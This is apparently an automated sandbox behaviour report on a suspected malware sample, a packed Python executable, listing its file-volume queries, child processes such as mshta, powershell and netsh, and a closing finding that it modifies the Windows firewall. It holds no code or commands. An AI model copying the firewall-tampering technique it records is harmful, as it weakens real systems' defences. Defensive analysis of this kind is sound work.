            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_socket.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\select.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_bz2.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_lzma.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_sqlite3.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_ssl.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_asyncio.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_overlapped.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\multidict VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\multidict VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\multidict VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\multidict\_multidict.cp311-win_amd64.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\multidict VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_hashlib.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\unicodedata.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\yarl VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\yarl VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\yarl VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\yarl\_quoting_c.cp311-win_amd64.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_helpers.cp311-win_amd64.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_http_writer.cp311-win_amd64.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_http_parser.cp311-win_amd64.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_websocket.cp311-win_amd64.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_uuid.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\frozenlist VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\frozenlist VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\frozenlist VolumeInformationJump to behavior
            Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\netsh.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850BC460 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00007FF6850BC460
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D6370 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,0_2_00007FF6850D6370

            Lowering of HIPS / PFW / Operating System Security Settings

            barindex
            Modifies the windows firewall
